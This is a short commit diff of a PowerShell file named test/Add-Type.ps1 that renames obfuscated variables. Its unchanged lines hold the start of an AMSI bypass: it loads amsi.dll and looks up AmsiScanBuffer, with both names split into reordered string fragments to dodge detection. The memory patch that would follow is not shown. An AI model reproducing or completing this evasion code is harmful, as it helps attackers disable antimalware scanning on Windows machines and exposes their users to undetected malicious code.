Update test/Add-Type.ps1

test/Add-Type.ps1

@@ -1,4 +1,4 @@
-${W`i`N32} = @"
+$Win32 = @"
 using System;
 using System.Runtime.InteropServices;
 
@@ -16,7 +16,7 @@ public class Win32 {
 }
 "@
 
-Add-Type ${WIn`32}
+Add-Type $Win32
 
 ${LOA`dlI`BR`ARY} = [Win32]::LoadLibrary("am" + ("{1}{0}"-f 'll','si.d'))
 ${aDD`R`Ess} = [Win32]::GetProcAddress(${lo`AD`L`ibRary}, ("{1}{0}"-f 'si','Am') + ("{0}{1}"-f'Sc','an') + ("{0}{1}"-f'Bu','ffer'))